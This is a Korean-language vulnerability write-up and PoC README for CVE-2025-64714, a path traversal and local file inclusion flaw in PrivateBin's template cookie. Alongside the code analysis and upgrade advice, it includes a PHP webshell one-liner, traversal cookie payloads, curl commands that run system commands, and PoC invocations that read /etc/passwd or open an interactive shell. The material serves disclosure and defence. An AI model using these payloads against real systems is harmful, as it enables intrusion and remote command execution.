
심각도: 중간 (CVSS v3.1: 5.8)
벡터:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
영향받는 버전: PrivateBin >= 1.7.7
패치된 버전: 2.0.3
CWE: CWE-23 (상대 경로 탐색), CWE-73 (파일 이름 또는 경로의 외부 제어), CWE-98 (PHP 파일 포함)
공식 권고: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
신고자: Benoit Esnard
PrivateBin 버전 1.7.7에 템플릿 전환 기능이 도입되어 사용자가 template 쿠키를 통해 선호하는 시각적 테마를 유지할 수 있게 되었습니다. 쿠키 값에 대한 검증이 불충분하여, 인증되지 않은 공격자가 경로 탐색 시퀀스(예: ../)를 제공하여 서버가 의도된 tpl/ 디렉터리 외부에 있는 임의의 PHP 파일을 포함하도록 만들 수 있습니다. 이는 전형적인 로컬 파일 포함(LFI) 취약점입니다.
별도의 쓰기 원시 함수(write primitive)(잘못 구성된 업로드 엔드포인트, 다른 취약점, 또는 로컬 접근)와 연계될 경우, 이 LFI는 **원격 코드 실행(RCE)**으로 이어질 수 있습니다.
44f8cfb, v1.7.7에서 도입)v1.7.7 이전에는 TemplateSwitcher::isTemplateAvailable()이 사전 정의된 허용 목록에 포함된 템플릿만 허용했습니다:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
v1.7.7에서는 서드파티 테마를 지원하기 위해 폴백 경로가 추가되었습니다. 새로운 코드는 안전한 목록을 기준으로 검증하는 대신 파일이 디스크에 존재하는지 확인합니다:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
View::getTemplateFilePath()는 사용자 제공 값을 파일 시스템 경로에 단순히 이어붙입니다:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
template=../cfg/conf를 사용하면 확인되는 경로는 다음과 같습니다:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
realpath() 호출이 없고, .. 시퀀스를 제거하지 않으며, 확인된 경로가 tpl/ 안에 유지되는지 확인하지 않습니다.
isTemplateAvailable()이 true를 반환하면 View::draw()가 조건 없이 해당 경로를 포함합니다:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
extract($this->_variables) 역시 include 전에 실행되어 포함된 파일에서 사용할 수 있는 변수 네임스페이스를 오염시킬 가능성이 있습니다.
유일한 추가 보호 장치는 bootstrap-로 시작하는 문자열을 차단하는 검사입니다:
if (!$available && !View::isBootstrapTemplate($template)) { … }
isBootstrapTemplate()은 문자열이 bootstrap-로 시작할 때만 true를 반환합니다. ../data/shell과 같은 경로 탐색 문자열은 이 검사를 쉽게 우회합니다.
두 조건이 동시에 충족되어야 합니다:
| # | 조건 |
|---|---|
| 1 | cfg/conf.php에서 templateselection = true로 설정됨 (기본값 아님) |
| 2 | 공격자가 tpl/로부터의 상대 경로를 통해 기존 .php 파일을 참조할 수 있음 |
순수 LFI / 정보 유출의 경우, 조건 2는 기존 PrivateBin PHP 파일로 이미 충족됩니다.
RCE의 경우, 공격자는 추가로 도달 가능한 디렉터리(예: data/, 쓰기 가능한 업로드 디렉터리 등)에 PHP 웹쉘을 배치할 쓰기 원시 함수가 필요합니다.
공격자는 PrivateBin 자체의 PHP 파일을 읽습니다. 대부분은 403 또는 500 응답을 생성하는 보호 라인으로 보호되지만, 응답 자체가 LFI를 확인해 줍니다.
Cookie: template=../cfg/conf
서버 측에서 확인: tpl/../cfg/conf.php → cfg/conf.php
500 응답조차도 의미 있는 신호입니다. 파일에 도달했고 PHP 엔진이 해당 파일을 실행하려 시도했음을 증명합니다.
⚠️ 중요한 선행 조건: CVE-2025-64714는 로컬 파일 포함(LFI) 취약점입니다. 서버에 이미 존재하는 파일만 포함할 수 있을 뿐, 자체적으로 쓰기 기능을 제공하지 않습니다. RCE를 달성하려면 완전히 별개의 벡터(예: 다른 구성 요소의 파일 업로드 취약점, 내부 서비스로의 SSRF, 또는 CTF/랩 환경에서의 직접적인 파일시스템 접근)를 통해 먼저 쓰기 원시 함수를 확보해야 합니다. 쓰기 원시 함수가 없으면 PoC의
--cmd및--interactive모드는 효과가 없습니다. PoC 스크립트는 다른 수단으로 이미 배치한 웹쉘을 탐지할 뿐입니다.
1단계 — 웹쉘 배치: 임의의 쓰기 벡터(예: 다른 파일 업로드 취약점, 내부 서비스로의 SSRF, 또는 CTF/랩 시나리오에서의 직접적인 파일시스템 접근)를 사용합니다:
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
2단계 — LFI 트리거: 템플릿 쿠키를 통해:
Cookie: template=../data/shell
확인: tpl/../data/shell.php → data/shell.php ✓
3단계 — 명령 실행: GET 매개변수를 통해:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
응답:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
다른 PHP 애플리케이션이 동일한 웹 루트를 공유하는 경우(공유 호스팅에서 흔함), 해당 구성 파일에 접근할 수 있습니다:
Cookie: template=../../other_app/config/database
pip install requests
# 1. 대상이 취약한지 탐지
python3 poc.py --url https://bin.example.com --detect
# 2. LFI를 트리거하여 특정 PHP 파일 읽기
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. 웹쉘 업로드 + 트리거 + 단일 명령 실행 (RCE 체인)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. 대화형 유사 셸
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# 탐지 프로브
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (data/pwn.php에 셸을 작성한 후)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
PrivateBin 팀의 자체 분석에 따르면 공개된 약 300개 인스턴스 중 11개가 templateselection을 활성화한 상태였으며, 공개 시점에 보호되지 않은 구성 파일을 가진 인스턴스는 없었습니다. 그러나 잘못 구성된 환경이나 2차 쓰기 취약점이 있는 환경에서는 여전히 중요한 취약점입니다.
PrivateBin 2.0.3 이상으로 업그레이드하세요. 이 수정은 엄격한 허용 목록 검증을 복원합니다. template 쿠키 값은 구성된 availabletemplates 목록의 템플릿 이름과 정확히 일치하는 경우에만 허용됩니다.
cfg/conf.php에서 템플릿 선택을 비활성화합니다:
[main]
templateselection = false
이 값은 기본값입니다. 이전에 활성화한 경우에만 명시적으로 설정하면 됩니다.
이 저장소는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다. 저자는 어떠한 오용에도 책임을 지지 않습니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 서면 허가를 받으십시오. 무단으로 컴퓨터 시스템을 악용하는 것은 대부분의 관할권에서 불법입니다.
| 벡터 | 영향 | 비고 |
|---|
| LFI — PrivateBin 구성 | 제한적 | 기본 구성 파일에는 PHP 보호 라인이 있어 403/500 발생 |
| LFI — 붙여넣기 데이터 파일 | 제한적 | 각 붙여넣기 파일에는 동일한 보호 라인이 포함됨 |
| LFI — 서드파티 PHP 파일 | 높음 | 함께 호스팅되는 애플리케이션에 따라 다름 |
| LFI + 쓰기 원시 함수 → RCE | 심각 | 웹 서버 사용자 권한으로 완전한 명령 실행 가능 |